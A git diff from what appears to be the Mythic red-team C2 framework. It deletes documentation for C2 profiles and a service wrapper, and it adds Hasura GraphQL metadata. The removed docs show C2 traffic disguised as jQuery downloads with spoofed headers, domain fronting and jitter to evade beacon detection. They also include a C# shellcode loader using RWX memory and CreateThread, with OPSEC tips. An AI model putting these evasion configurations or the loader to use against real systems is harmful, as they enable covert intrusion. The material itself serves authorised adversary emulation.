-[*] Found matching URLs and URI, checking rest of AgentMessage
-[*] Checking for matching Body messages
-[+] FOUND MATCH
-
-```
-
-### Profile Options
-#### Base64 of a 32-byte AES Key
-Base64 value of the AES pre-shared key to use for communication with the agent. This will be auto-populated with a static key for the operation, but you can also replace this with the base64 of any 32 bytes you want. If you don't want to use encryption here, blank out this value.
-
-#### Agent Config
-This is the JSON agent config that would go into the agent.
-
-## OPSEC
-
-This profile offers a lot of customizability for your traffic to help better blend in and avoid beaconing indicators. However, you still need to consider the frequency of callbacks and the kinds of data you're sending (ex: sending a GET request with data in the body might look weird).
-
-## Development
-
-All of the code for the server is Python3 using `Sanic` and located in `C2_Profiles/dynamicHTTP/c2_code/server`. It loops through the `instances` in the `config.json` file and stands up those individual web servers.
-
-To add a new `function`, you need to do only a couple of things:
-- Determine what the function does
- - this includes what kind of parameters it needs
-- Determine how to _reverse_ the function
- - this includes what kind of parameters it needs
-- in `C2_Profiles/dynamicHTTP/c2_code/server` you need to add two functions:
-```Python
-async def function_name(*args):
- return "your changed thing here"
-
-async def r_function_name(*args):
- return "reverse the changes you made with function_name here"
-```
- - every function will have the current working value as `args[0]` and any additional args that the function needs will be `args[1:]`
-- In the agents that support this new function, you need to make sure to do a similar thing (agent specific)
- - This allows agents to actually implement the functionality you just added in
-
-# Sample Server Configuration
-
-```JSON
-{
- "instances": [
- {
- "GET": {
- "ServerBody": [
- {
- "function": "base64",
- "parameters": []
- },
- {
- "function": "prepend",
- "parameters": ["!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"]
- }
- ],
- "ServerHeaders": {
- "Server": "NetDNA-cache/2.2",
- "Cache-Control": "max-age=0, no-cache",
- "Pragma": "no-cache",
- "Connection": "keep-alive",
- "Content-Type": "application/javascript; charset=utf-8"
- },
- "ServerCookies": {},
- "AgentMessage": [{
- "urls": ["http://192.168.205.151:9000"],
- "uri": "/",
- "urlFunctions": [
- {
- "name": "",
- "value": "",
- "transforms": [
- {
- "function": "choose_random",
- "parameters": ["jquery-3.3.1.min.js","jquery-3.3.1.map"]
- }
- ]
- }
- ],
- "AgentHeaders": {
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "Host": "code.jquery.com",
- "Referer": "http://code.jquery.com/",
- "Accept-Encoding": "gzip, deflate",
- "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
- },
- "QueryParameters": [
- {
- "name": "q",
- "value": "message",
- "transforms": [
- ]
- }
- ],
- "Cookies": [
- {
- "name": "__cfduid",
- "value": "",
- "transforms": [
- {
- "function": "random_alpha",
- "parameters": [30]
- },
- {
- "function": "base64",
- "parameters": []
- }
- ]
- }
- ],
- "Body": []
- }]
- },
- "POST": {
- "ServerBody": [],
- "ServerCookies": {},
- "ServerHeaders": {
- "Server": "NetDNA-cache/2.2",
- "Cache-Control": "max-age=0, no-cache",
- "Pragma": "no-cache",
- "Connection": "keep-alive",
- "Content-Type": "application/javascript; charset=utf-8"
- },
- "AgentMessage": [{
- "urls": ["http://192.168.205.151:9000"],
- "uri": "/download.php",
- "urlFunctions": [],
- "QueryParameters": [
- {
- "name": "bob2",
- "value": "justforvalidation",
- "transforms": []
- }
- ],
- "AgentHeaders": {
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "Host": "code.jquery.com",
- "Referer": "http://code.jquery.com/",
- "Accept-Encoding": "gzip, deflate",
- "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
- },
- "Cookies": [
- {
- "name": "BobCookie",
- "value": "splat",
- "transforms": [
- {
- "function": "prepend",
- "parameters": [
- "splatity_"
- ]
- }
- ]
- }
- ],
- "Body": [
- {
- "function": "base64",
- "parameters": []
- },
- {
- "function": "prepend",
- "parameters": [""]
- },
- {
- "function": "append",
- "parameters": [""]
- }
- ]
- }]
- },
- "no_match": {
- "action": "return_file",
- "redirect": "http://example.com",
- "proxy_get": {
- "url": "https://www.google.com",
- "status": 200
- },
- "proxy_post": {
- "url": "https://www.example.com",
- "status": 200
- },
- "return_file": {
- "name": "fake.html",
- "status": 404
- }
- },
- "port": 443,
- "key_path": "",
- "cert_path": "",
- "debug": true
- }
- ]
-}
-
-```
-
-# Sample Agent Configuration
-
-```JSON
-{
- "GET": {
- "ServerBody": [
- {
- "function": "base64",
- "parameters": []
- },
- {
- "function": "prepend",
- "parameters": ["!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"]
- }
- ],
- "ServerHeaders": {
- "Server": "NetDNA-cache/2.2",
- "Cache-Control": "max-age=0, no-cache",
- "Pragma": "no-cache",
- "Connection": "keep-alive",
- "Content-Type": "application/javascript; charset=utf-8"
- },
- "ServerCookies": {},
- "AgentMessage": [{
- "urls": ["http://192.168.205.151:9000"],
- "uri": "/",
- "urlFunctions": [
- {
- "name": "",
- "value": "",
- "transforms": [
- {
- "function": "choose_random",
- "parameters": ["jquery-3.3.1.min.js","jquery-3.3.1.map"]
- }
- ]
- }
- ],
- "AgentHeaders": {
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "Host": "code.jquery.com",
- "Referer": "http://code.jquery.com/",
- "Accept-Encoding": "gzip, deflate",
- "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
- },
- "QueryParameters": [
- {
- "name": "q",
- "value": "message",
- "transforms": [
- ]
- }
- ],
- "Cookies": [
- {
- "name": "__cfduid",
- "value": "",
- "transforms": [
- {
- "function": "random_alpha",
- "parameters": [30]
- },
- {
- "function": "base64",
- "parameters": []
- }
- ]
- }
- ],
- "Body": []
- }]
- },
- "POST": {
- "ServerBody": [],
- "ServerCookies": {},
- "ServerHeaders": {
- "Server": "NetDNA-cache/2.2",
- "Cache-Control": "max-age=0, no-cache",
- "Pragma": "no-cache",
- "Connection": "keep-alive",
- "Content-Type": "application/javascript; charset=utf-8"
- },
- "AgentMessage": [{
- "urls": ["http://192.168.205.151:9000"],
- "uri": "/download.php",
- "urlFunctions": [],
- "QueryParameters": [
- {
- "name": "bob2",
- "value": "justforvalidation",
- "transforms": []
- }
- ],
- "AgentHeaders": {
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "Host": "code.jquery.com",
- "Referer": "http://code.jquery.com/",
- "Accept-Encoding": "gzip, deflate",
- "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
- },
- "Cookies": [
- {
- "name": "BobCookie",
- "value": "splat",
- "transforms": [
- {
- "function": "prepend",
- "parameters": [
- "splatity_"
- ]
- }
- ]
- }
- ],
- "Body": [
- {
- "function": "base64",
- "parameters": []
- },
- {
- "function": "prepend",
- "parameters": [""]
- },
- {
- "function": "append",
- "parameters": [""]
- }
- ]
- }]
- },
- "jitter": 50,
- "interval": 10,
- "chunk_size": 5120000,
- "key_exchange": true,
- "kill_date": ""
-}
-```
\ No newline at end of file
diff --git a/documentation-docker/content/C2 Profiles/websocket/_index.md b/documentation-docker/content/C2 Profiles/websocket/_index.md
deleted file mode 100644
index d79cf8e39..000000000
--- a/documentation-docker/content/C2 Profiles/websocket/_index.md
+++ /dev/null
@@ -1,91 +0,0 @@
-+++
-title = "websocket"
-chapter = false
-weight = 5
-+++
-
-## Overview
-The websockets protocol enables two-way communication between a client and remote host over a single connection. To establish a websockets connection, the client and the server complete a simple handshake followed by chunked messages (framing), layered over TCP. For more information, please review the RFC located here: https://tools.ietf.org/html/rfc6455. The 'Config.json' file is what configures the 'server' file within the docker container. Be sure to update this to match the port your server is listening on as well as updating it to match the configuration of your agent. The source code for the websockets server is based on @xorrior's code here: https://github.com/xorrior/poseidonC2.
-
-The code has been slightly modified and included locally within the `C2_Profiles/websocket/c2_code/src` folder. There's also directions in there for if you want to modify and re-compile locally.
-
-### Websockets C2 Workflow
-{{}}
-sequenceDiagram
- participant M as Mythic
- participant H as websocket
- participant A as Agent
- A -> H: 1
- Note over A: 2
- loop Websockets Protocol
- A -->> H: 3
- H ->> M: 4
- M -->> H: 5
- H -->> A: 6
- end
-{{< /mermaid >}}
-
-1. The Agent sends an HTTP/S Upgrade request to the Websockets server. The server responds with "HTTP/1.1 101 Switching Protocols".
-2. The Agent and Websocket server begin using the websockets protocol to send and receive messages.
-3. Agent sends a message to receive taskings from server
-4. Websocket sends a GET/POST request to receive taskings from Mythic
-5. Mythic returns tasks to Websocket
-6. Websocket sends new tasks to the agent
-
-## Configuration Options
-The profile reads a `config.json` file and starts a Golang websocket client to handle connections.
-
-```JSON
-{
- "bindaddress": "0.0.0.0:8081",
- "ssl": false,
- "sslkey":"",
- "sslcert":"",
- "websocketuri": "socket",
- "defaultpage": "index.html",
- "logfile": "server.log",
- "debug": true
-}
-```
-- bindaddress -> The bind IP and Port for the websocket server. This port needs to match what you use as the `Callback Port` when creating an agent.
-- usessl -> Listen on the specified port and enable SSL. If "key.pem" and "cert.pem" don't exist, the server will generate a self-signed certificate and key file.
-- defaultpage -> This value points to an html file that is served to clients that connect to any other URI except the one defined for the `websocketuri` key.
-- sslkey -> path to the ssl private key
-- sslcert -> path to the ssl certificate
-- websocketuri -> Websocket endpoint used for client connections (e.g. wss://myserver/websocketuri)
-
-
-### Profile Options
-#### Base64 of a 32-byte AES Key
-Base64 value of the AES pre-shared key to use for communication with the agent. This will be auto-populated with a static key for the operation, but you can also replace this with the base64 of any 32 bytes you want. If you don't want to use encryption here, blank out this value.
-
-#### Callback Host
-This is the address that the agent reaches out to. Since this is a websocket C2, the address must be a websocket address (i.e. `ws://127.0.0.1` or `wss://127.0.0.1`). For websockets, clients will use http/s for the initial upgrade request and then switch to wss or ws for websockets traffic.
-
-#### User Agent
-This is the User-Agent header set when reaching out to the Callback Host. The default value is `Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko`.
-
-#### Callback Interval in seconds
-This is the interval in seconds in which the agent reaches out to the Callback Host. The default value is 10 seconds. This affects two components:
-1. How frequently the agent reaches out for tasking _within_ an already established websocket connection
-2. How frequently the agent will try to re-establish the websocket connection.
-
-#### Perform Key Exchange
-This is a `T` or `F` flag for if the agent should perform an encrypted key exchange with the server when checking in for the first time. This provides perfect forward secrecy for communications. If this is set to `F`, then the agent will use the AES key for a static pre-shared key set of encrypted communications.
-
-#### Host header value for domain fronting
-This is the host header value if you want to perform domain fronting through your Callback Host. This is simply the value, not the `Host: ` part as well.
-
-#### Callback Jitter in percent
-This configures a +- randomized percentage of the callback interval so that checkins aren't at the exact same interval each time. This must be between 0 to 100.
-
-#### Callback Port
-This is the port to use when connecting to the Callback Host. If connecting to a `ws` address, the default is port 80, if connecting to a `wss` address, the default is 443, but any custom one can also be specified.
-
-## OPSEC
-
-The Agent uses HTTP/S to perform the initial upgrade request before using the websockets protocol.
-
-## Development
-
-Souce code is available here: https://github.com/xorrior/poseidonC2
\ No newline at end of file
diff --git a/documentation-docker/content/Wrappers/service_wrapper/_index.md b/documentation-docker/content/Wrappers/service_wrapper/_index.md
deleted file mode 100644
index d648c4b3b..000000000
--- a/documentation-docker/content/Wrappers/service_wrapper/_index.md
+++ /dev/null
@@ -1,16 +0,0 @@
-+++
-title = "service_wrapper"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-The `service_wrapper` payload creates a C# Service Executable for .NET 3.5 or 4.0. It takes in another agent, specifically an `atlas` agent that has been created with an output type of `Raw`. The build process checks if there's an MZ header and will error if there is.
-The Service embeds the ShellCode as an embedded resource and generates a simple service executable. The service does not automatically do any injection or process migration, it simply launches the raw shellcode as a thread within the service.
-
-### Highlighted wrapper Features
-- Creates a service control manager compliant C# service
-
-## Authors
-- @its_a_feature_
diff --git a/documentation-docker/content/Wrappers/service_wrapper/development.md b/documentation-docker/content/Wrappers/service_wrapper/development.md
deleted file mode 100644
index 12986ed2d..000000000
--- a/documentation-docker/content/Wrappers/service_wrapper/development.md
+++ /dev/null
@@ -1,31 +0,0 @@
-+++
-title = "Development"
-chapter = false
-weight = 15
-pre = "2. "
-+++
-
-## Development Environment
-
-Visual Studio
-
-## Modifying the Service
-
-If you want to modify the service, edit the `Payload_Types/service_wrapper/agent_code/WindowsService1/Service1.cs` file. Specifically, the `Execute` function contains the logic:
-
-```c#
-public bool Execute()
-{
- //replace with your own shellcode
- byte[] shellcode = GetResource("loader");
- UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
- WaitForSingleObject(hThread, 0xFFFFFFFF);
- return true;
-}
-```
diff --git a/documentation-docker/content/Wrappers/service_wrapper/opsec.md b/documentation-docker/content/Wrappers/service_wrapper/opsec.md
deleted file mode 100644
index 7e8c51f96..000000000
--- a/documentation-docker/content/Wrappers/service_wrapper/opsec.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-### Service Execution
-The service allocates local memory as RWX, loads the embedded resource into it, and kicks off execution. The service does _not_ do any remote process injection or migration.
-
-```C++
-public bool Execute()
-{
- byte[] shellcode = GetResource("loader");
- UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
- IntPtr hThread = IntPtr.Zero;
- UInt32 threadId = 0;
- IntPtr pinfo = IntPtr.Zero;
- hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
- WaitForSingleObject(hThread, 0xFFFFFFFF);
- return true;
-}
-```
-
-There is a potential OPSEC concern here related to the RWX memory. You can always go through to allocate RW memory, copy the code over, then change to RX before starting execution.
\ No newline at end of file
diff --git a/hasura-docker/Dockerfile b/hasura-docker/Dockerfile
new file mode 100644
index 000000000..357eea8dc
--- /dev/null
+++ b/hasura-docker/Dockerfile
@@ -0,0 +1,2 @@
+From hasura/graphql-engine:v2.0.0-alpha.9.cli-migrations-v2
+#From hasura/graphql-engine:v1.3.4-beta.2.cli-migrations-v2
diff --git a/hasura-docker/metadata/actions.graphql b/hasura-docker/metadata/actions.graphql
new file mode 100644
index 000000000..0172cd985
--- /dev/null
+++ b/hasura-docker/metadata/actions.graphql
@@ -0,0 +1,186 @@
+type Mutation {
+ createAPIToken (
+ tokenType: String!
+ ): createAPITokenResponse!
+}
+
+
+type Mutation {
+ createOperator (
+ input: OperatorInput!
+ ): OperatorOutput!
+}
+
+
+type Mutation {
+ createPayload (
+ payloadDefinition: String!
+ ): createPayloadOutput!
+}
+
+
+type Mutation {
+ createRandom (
+ format_string: String!
+ ): randomOutput
+}
+
+
+type Mutation {
+ createTask (
+ command: String!
+ params: String!
+ files: String
+ callback_id: Int!
+ ): createTaskOutput
+}
+
+
+type Query {
+ downloadContainerFile (
+ id: Int
+ filename: String!
+ ): ContainerFile
+}
+
+
+type Query {
+ getProfileOutput (
+ id: Int!
+ ): ProfileOutput
+}
+
+
+type Mutation {
+ requestOpsecBypass (
+ task_id: Int!
+ ): BypassOutput
+}
+
+
+type Mutation {
+ startStopProfile (
+ id: Int!
+ action: String
+ ): startStopOutput
+}
+
+
+type Mutation {
+ updateCallback (
+ input: updateCallbackInput!
+ ): updateCallbackOutput
+}
+
+
+type Mutation {
+ uploadContainerFile (
+ id: Int!
+ file_path: String!
+ data: String!
+ ): uploadContainerOutput
+}
+
+
+
+
+input OperatorInput {
+ username : String!
+ password : String!
+}
+
+input CreatePayloadInput {
+ input_string : String!
+}
+
+input updateCallbackInput {
+ callback_id : Int!
+ active : Boolean
+ locked : Boolean
+ description : String
+}
+
+type createAPITokenResponse {
+ tokenValue : String!
+ id : Int!
+}
+
+type OperatorOutput {
+ username : String
+ id : Int
+ active : Boolean
+ view_utc_time : Boolean
+ creation_time : String
+ last_login : String
+ deleted : Boolean
+ status : String!
+ error : String
+ admin : Boolean
+ current_operation : String
+ current_operation_id : Int
+ ui_config : String
+}
+
+type createPayloadOutput {
+ status : String!
+ error : String
+ uuid : String
+}
+
+type randomOutput {
+ status : String!
+ error : String
+ random : String
+}
+
+type startStopOutput {
+ status : String!
+ error : String
+ output : String
+ version : String
+}
+
+type ProfileOutput {
+ status : String!
+ error : String
+ output : String
+ version : String
+}
+
+type ContainerFile {
+ status : String!
+ filename : String
+ data : String
+ error : String
+ version : String
+}
+
+type uploadContainerOutput {
+ status : String!
+ error : String
+ filename : String
+ version : String
+}
+
+type SampleOutput {
+ status : String!
+ error : String
+ id : Int
+}
+
+type createTaskOutput {
+ status : String!
+ error : String
+ id : Int
+}
+
+type BypassOutput {
+ status : String!
+ error : String
+}
+
+type updateCallbackOutput {
+ status : String!
+ error : String
+}
+
diff --git a/hasura-docker/metadata/actions.yaml b/hasura-docker/metadata/actions.yaml
new file mode 100644
index 000000000..27386cf0e
--- /dev/null
+++ b/hasura-docker/metadata/actions.yaml
@@ -0,0 +1,148 @@
+actions:
+- name: createAPIToken
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/generate_apitoken'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: createOperator
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/create_operator'
+ forward_client_headers: true
+ permissions:
+ - role: mythic_admin
+- name: createPayload
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/createpayload_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: createRandom
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/randomize_parameter_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+ - role: spectator
+- name: createTask
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/create_task_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: downloadContainerFile
+ definition:
+ kind: ""
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/c2profile_download_file_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+ - role: spectator
+- name: getProfileOutput
+ definition:
+ kind: ""
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/c2profile_status_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: requestOpsecBypass
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/request_opsec_bypass_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: startStopProfile
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/start_stop_profile_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: updateCallback
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/update_callback_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+- name: uploadContainerFile
+ definition:
+ kind: synchronous
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/c2profile_upload_file_webhook'
+ forward_client_headers: true
+ permissions:
+ - role: developer
+ - role: mythic_admin
+ - role: operation_admin
+ - role: operator
+custom_types:
+ enums: []
+ input_objects:
+ - name: OperatorInput
+ - name: CreatePayloadInput
+ - name: updateCallbackInput
+ objects:
+ - name: createAPITokenResponse
+ - name: OperatorOutput
+ - name: createPayloadOutput
+ - name: randomOutput
+ - name: startStopOutput
+ - name: ProfileOutput
+ - name: ContainerFile
+ - name: uploadContainerOutput
+ - name: SampleOutput
+ relationships:
+ - remote_table:
+ schema: public
+ name: task
+ name: task
+ source: default
+ type: object
+ field_mapping:
+ id: id
+ - name: createTaskOutput
+ relationships:
+ - remote_table:
+ schema: public
+ name: task
+ name: task
+ source: default
+ type: object
+ field_mapping:
+ id: id
+ - name: BypassOutput
+ - name: updateCallbackOutput
+ scalars: []
diff --git a/hasura-docker/metadata/allow_list.yaml b/hasura-docker/metadata/allow_list.yaml
new file mode 100644
index 000000000..fe51488c7
--- /dev/null
+++ b/hasura-docker/metadata/allow_list.yaml
@@ -0,0 +1 @@
+[]
diff --git a/hasura-docker/metadata/config.yaml b/hasura-docker/metadata/config.yaml
new file mode 100644
index 000000000..6ddf586e5
--- /dev/null
+++ b/hasura-docker/metadata/config.yaml
@@ -0,0 +1,6 @@
+version: 2
+endpoint: http://localhost:8080
+metadata_directory: metadata
+actions:
+ kind: synchronous
+ handler_webhook_baseurl: http://localhost:3000
diff --git a/hasura-docker/metadata/cron_triggers.yaml b/hasura-docker/metadata/cron_triggers.yaml
new file mode 100644
index 000000000..fe51488c7
--- /dev/null
+++ b/hasura-docker/metadata/cron_triggers.yaml
@@ -0,0 +1 @@
+[]
diff --git a/hasura-docker/metadata/functions.yaml b/hasura-docker/metadata/functions.yaml
new file mode 100644
index 000000000..fe51488c7
--- /dev/null
+++ b/hasura-docker/metadata/functions.yaml
@@ -0,0 +1 @@
+[]
diff --git a/hasura-docker/metadata/metadata.yaml b/hasura-docker/metadata/metadata.yaml
new file mode 100644
index 000000000..2d8dbb166
--- /dev/null
+++ b/hasura-docker/metadata/metadata.yaml
@@ -0,0 +1,1065 @@
+version: 2
+tables:
+- table:
+ schema: public
+ name: apitokens
+ object_relationships:
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ insert_permissions:
+ - role: user
+ permission:
+ check: {}
+ columns:
+ - active
+ backend_only: false
+ select_permissions:
+ - role: user
+ permission:
+ columns: []
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ update_permissions:
+ - role: user
+ permission:
+ columns:
+ - active
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ delete_permissions:
+ - role: user
+ permission:
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+- table:
+ schema: public
+ name: artifact
+ array_relationships:
+ - name: taskartifacts
+ using:
+ foreign_key_constraint_on:
+ column: artifact_id
+ table:
+ schema: public
+ name: taskartifact
+- table:
+ schema: public
+ name: attack
+ array_relationships:
+ - name: attackcommands
+ using:
+ foreign_key_constraint_on:
+ column: attack_id
+ table:
+ schema: public
+ name: attackcommand
+ - name: attacktasks
+ using:
+ foreign_key_constraint_on:
+ column: attack_id
+ table:
+ schema: public
+ name: attacktask
+- table:
+ schema: public
+ name: attackcommand
+ object_relationships:
+ - name: attack
+ using:
+ foreign_key_constraint_on: attack_id
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+- table:
+ schema: public
+ name: attacktask
+ object_relationships:
+ - name: attack
+ using:
+ foreign_key_constraint_on: attack_id
+ - name: task
+ using:
